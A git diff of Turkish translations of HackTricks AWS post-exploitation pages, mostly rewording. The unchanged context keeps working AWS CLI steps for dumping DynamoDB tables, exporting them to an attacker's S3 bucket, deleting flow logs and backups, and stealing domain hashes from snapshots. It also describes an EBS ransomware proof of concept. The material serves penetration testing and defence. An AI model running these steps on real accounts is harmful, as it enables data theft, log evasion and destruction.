aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-Bir politika belgesi için şablon burada görülebilir:
+Politika belgesi için bir şablon burada görülebilir:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d136e0533..eec0e2e8e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
-Bu izinle birlikte **`transact-get-items`** yöntemini de şu şekilde kullanmak mümkündür:
+Bu izinle **`transact-get-items`** yöntemini şu şekilde kullanmak da mümkündür:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,7 +75,7 @@ aws dynamodb transact-get-items \
}
]
```
-**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:Query`
@@ -115,7 +115,7 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki artırma
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:PartiQLSelect`
@@ -124,18 +124,18 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
-Bu izin, `batch-execute-statement` gibi işlemleri gerçekleştirmeye de olanak tanır:
+Bu izin ayrıca `batch-execute-statement` gerçekleştirmeye de olanak tanır:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
-ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden o kadar faydalı değil.
+ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden çok faydalı değil.
**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-Bu izin, bir saldırgana **tüm tabloyu kendi seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir:
+Bu izin, bir saldırgana **tüm tabloyu seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:::table/TargetTable \
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-Not edin ki bunun çalışması için tablonun zamanında geri yükleme (point-in-time-recovery) özelliğinin etkinleştirilmiş olması gerekir, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz:
+Bu işlemin çalışması için tablonun point-in-time-recovery özelliğinin etkinleştirilmiş olması gerektiğini unutmayın, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz:
```bash
aws dynamodb describe-continuous-backups \
--table-name
@@ -155,7 +155,7 @@ aws dynamodb update-continuous-backups \
--table-name \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
@@ -166,7 +166,7 @@ aws dynamodb restore-table-from-backup \
--target-table-name \
--region
```
-**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
+**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki artırımı
### `dynamodb:PutItem`
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
-**Olası Etki:** DynamoDB tablosunda veri ekleyip/şekillendirerek daha fazla güvenlik açığı/atlatma istismar etme
+**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla güvenlik açığı/atlatma istismar etme
### `dynamodb:UpdateItem`
-Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Bu, **tüm öğeyi değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem **belirtilen birincil anahtara sahip yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar.
+Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Tüm öğeyi **değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
-**Olası Etki:** Bir DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme
+**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme
### `dynamodb:DeleteTable`
@@ -262,7 +262,7 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**Potansiyel etki**: Veri kaybı ve bir felaket kurtarma senaryosunda bir yedekten geri yükleme yapamama.
+**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleme yapamama.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
@@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region
```
-4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ü kullanın:
+4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ı kullanın:
```bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator \
--region
```
-**Potansiyel etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı.
+**Olası etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 34d73b27f..591097515 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin:
### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC trafik aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği çoğaltır** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\
-Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir:
+Bir saldırgan, bunu kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir:
Daha fazla bilgi için bu sayfayı kontrol edin:
@@ -83,9 +83,9 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür.
-[**daha fazla bilgi için buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### VPC akış günlüklerini kaldırın
+### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -95,7 +95,7 @@ Gerekli izinler:
- `ssm:StartSession`
-Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır.
+Komut yürütmenin yanı sıra, SSM, Security Groups veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine olanak tanır. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır.
> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,9 +104,9 @@ Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile Bastion EC2 AWS geçici kimlik bilgilerini alın
-4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın
-5. Bastion EC2 olarak EKS'e giriş yapın:
+3. Bastion EC2 AWS geçici kimlik bilgilerini [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile al
+4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktar
+5. Bastion EC2 olarak EKS'e giriş yap:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
@@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Not edin ki, SSL bağlantıları `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz.
+Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurarak, herhangi bir MitM saldırısından güvendesiniz.
-Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz.
+Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için keyfi alan adları ve portlar ayarlayabilirsiniz.
### AMI Paylaşımı
```bash
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```
### Kamuya açık ve özel AMI'lerde hassas bilgileri arama
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs)** içinde hassas bilgileri aramak için tasarlanmış bir araçtır. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
### EBS Anlık Görüntüsünü Paylaşma
```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır.
+S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kavramsal kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır.
-Öncelikle bir 'saldırgan' AWS hesabından, KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır.
+Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır.
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer
]
}
```
-Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir:
+Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekmektedir:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,7 +239,7 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Artık kullanılacak kamuya açık bir anahtar ile. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
+Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli olan bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabının EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
 
@@ -249,11 +249,11 @@ Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır.

-Ayrıca, scriptin orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.
+Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.

-Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırmaktır.
+Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıda Şifreleme' politika kuralını kaldırmaktır.
```json
{
"Version": "2012-10-17",
@@ -328,11 +328,11 @@ Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin.
 
-Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmaya çalıştığınızda, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza dek geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
+Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'pending' durumundan 'stopped' durumuna sonsuza kadar geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
 
-Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
+Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine ekli Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde işlem sırasında kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index cc530a175..a53022c5a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -46,9 +46,9 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
-Daha fazla bilgi için bu tekniği [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) adresindeki orijinal araştırmaya bakın.
+Bu teknik hakkında daha fazla bilgi için orijinal araştırmaya bakın [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
-Bunu Pacu ile [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz.
+Bunu Pacu ile [ebs__download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz.
## AWS'de bir anlık görüntüyü kontrol etme
```bash
@@ -56,16 +56,16 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
```
**Kontrolünüz altındaki bir EC2 VM'ye bağlayın** (yedek kopyasıyla aynı bölgede olmalıdır):
-Adım 1: EC2 –> Volumes bölümüne giderek tercih ettiğiniz boyut ve türde yeni bir hacim oluşturulmalıdır.
+Adım 1: Tercih ettiğiniz boyut ve türde yeni bir hacim oluşturmak için EC2 –> Hacimler bölümüne gidin.
Bu işlemi gerçekleştirebilmek için şu komutları izleyin:
- EC2 örneğine eklemek için bir EBS hacmi oluşturun.
- EBS hacminin ve örneğin aynı bölgede olduğundan emin olun.
-Adım 2: Oluşturulan hacme sağ tıklayarak "attach volume" seçeneği seçilmelidir.
+Adım 2: Oluşturulan hacme sağ tıklayarak "hacmi ekle" seçeneğini seçin.
-Adım 3: Örnek metin kutusundan örnek seçilmelidir.
+Adım 3: Örnek metin kutusundan örneği seçin.
Bu işlemi gerçekleştirebilmek için aşağıdaki komutu kullanın:
@@ -77,7 +77,7 @@ Adım 5: Hacmin herhangi bir verisi olup olmadığını kontrol etmek için `sud
Yukarıdaki komutun çıktısı "/dev/xvdf: data" gösteriyorsa, hacim boştur.
-Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ya ext4 ya da xfs kullanmanız gerektiğini unutmayın.
+Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ext4 veya xfs'den birini kullanmanız gerektiğini unutmayın.
Adım 7: Yeni ext4 hacmini bağlamak için istediğiniz bir dizin oluşturun. Örneğin, "newvolume" adını kullanabilirsiniz.
@@ -89,7 +89,7 @@ Adım 9: "newvolume" dizinine geçin ve hacim bağlamasını doğrulamak için d
Bu işlemi gerçekleştirebilmek için şu komutları kullanın:
-- Dizin değiştirin `/newvolume`.
+- `/newvolume` dizinine geçin.
- Disk alanını kontrol etmek için `df -h .` komutunu kullanın. Bu komutun çıktısı "newvolume" dizinindeki boş alanı göstermelidir.
Bunu Pacu ile `ebs__explore_snapshots` modülünü kullanarak yapabilirsiniz.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahipse, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi için kullanmak üzere dışa aktarabilir.
+Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahip olduğunda, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktarabilir.
Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 0689a2d7e..e2e328527 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -2,14 +2,14 @@
{{#include ../../../../banners/hacktricks-training.md}}
-**Saldırı hakkında daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!**
+**Daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!**
-Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmektedir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adı verilen yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklere herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, **analiz** için bir ağ saldırı tespit sistemi (IDS) gönderilebilir.
+Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmiştir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adlı yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklerin kendisine herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, bir ağ saldırı tespit sistemi (IDS) için **analiz** amacıyla gönderilebilir.
-VPC trafiğini aynalamak ve dışa aktarmak için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla “**malmirror**” adlı bir kanıt-of-kavram betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için aynalama kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemiyle desteklenen EC2 örnekleri tarafından desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir.
+VPC trafiğini ayna yapma ve dışa aktarma için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla, “**malmirror**” adlı bir kanıt-of-concept betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için ayna kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemi tarafından desteklenen EC2 örnekleriyle desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir.
-Kötü amaçlı VPC trafik aynalamanın **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalamanın **olasılığı** yüksektir, çünkü VPC'ler üzerinden akan **düz metin trafiği** mevcuttur. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, **performans nedenleri** için iç ağlarında düz metin protokolleri kullanmaktadır.
+Kötü amaçlı VPC trafik aynalamasının **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalama olasılığı, VPC'ler üzerinden akan **düz metin trafiği** göz önüne alındığında yüksektir. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, iç ağlarında **performans nedenleri** için düz metin protokolleri kullanmaktadır.
-Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, bu da onu saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir.
+Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, böylece saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index b7950a0e1..1185630ea 100644
